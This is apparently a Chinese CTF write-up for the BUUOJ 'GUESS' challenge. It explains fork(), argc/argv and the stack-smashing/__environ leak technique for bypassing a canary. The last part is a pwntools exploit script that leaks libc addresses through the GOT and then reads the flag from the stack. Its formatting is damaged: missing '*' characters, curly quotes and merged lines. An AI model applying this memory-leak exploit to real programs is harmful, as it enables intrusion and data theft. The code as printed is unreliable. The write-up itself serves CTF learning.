开了cannary
刚开始不懂fork函数,在测试时就很疑惑,是怎么做到循环的,后来才明白这是fork函数
fork函数
fork函数相当于是一个克隆函数,就是把当前程序的所有数据再在栈中复制一遍,创建一个新的进程。fork函数是linux中的一个函数,windows中是不能编译下面代码的。这就涉及到操作系统的一系列知识了,我还不大懂。
#include<stdio.h>
#include<unistd.h>
int main(){
pid_t pid;
pid = fork();
if(pid<0){
printf("error");
}else if (pid==0){
printf("son\n");
}else{
printf("father\n");
}
return 0;
}
输出
可以看到两个输出结果,而且还不在一起。
分析程序流程,可以很明显看出来这是个get函数溢出漏洞,但是呢,这里没有打印函数,可以说是我们之前学的知识完全不够了,所有下面是一种新的攻击方式。
stack smashing/ environ 攻击
因为开了canary我们知道如果强行覆盖栈上地址会导致程序运行崩溃
如果仔细看看会发现这里每次都会打印这个程序的名字,那这个程序的名字是怎么来的呢?程序运行的时候每次都会将环境变量也加载到栈当中,就是当前函数的各种信息。
记得一次上java课的时候,老师还在课上讲过main函数的参数问题,下面借鉴了别人博客,主要我没怎么搞懂
- argc:命令条数
argc[]输入的每条命令
#include <iostream>
using std::cout;
using std::cin;
using std::endl;
int main(int argc, char *argv[])
{
for (int i = 0; i < argc; ++i)
cout<<argv[i]<<endl;
return 0;
}
那么这个又是怎么样来搞呢?gdb中有这样一个命令environ可以直接将地址给打印出来.
然后这个题目是一开始就将flag读进了栈当中,所以如果说我们能够通过这些手段将偏移给搞出来,flag的地址是不是就出来了?然后再次通过stack smashing 将flag打印出来攻击方式
先通过put的got表泄露libc的基地址
- 泄露libc的地址之后再通过__environ函数泄露在栈上的地址
- 计算出flag地址与environ函数的偏移,再次通过stack smashing泄露出flag的值
```python
from pwn import
from LibcSearcher import
context.log_level=’debug’
io = process(‘./GUESS’)
io = remote(‘node4.buuoj.cn’,26865) libc =ELF(“libc-2.232.so”) elf = ELF(‘./GUESS’) offest =0x128 puts_got =elf.got[‘puts’] payload =b’a’offest+p64(puts_got) io.recvuntil(“Please type your guessing flag”) io.sendline(payload) io.recvuntil(“** stack smashing detected :”) puts_addr =u64(io.recvuntil(“\x7f”)[-6:].ljust(8,’\x00’)) log.success(“puts_addr:”+hex(puts_addr)) libc = LibcSearcher(“puts”,puts_addr) libcbase = puts_addr -libc.dump(“puts”) log.success(“libcbase———————->”+hex(libcbase)) environ_addr = libcbase+libc.dump(“__environ”) io.recvuntil(“Please type your guessing flag”) payload =b’a’offest+p64(environ_addr) io.sendline(payload) io.recvuntil(“* stack smashing detected **:”) environ = u64(io.recvuntil(“\x7f”)[-6:].ljust(8,’\x00’)) flag_addr = environ - 0x168 payload =b’a’offest+p64(flag_addr) io.recvuntil(“Please type your guessing flag”) io.sendline(payload)
io.interactive() ```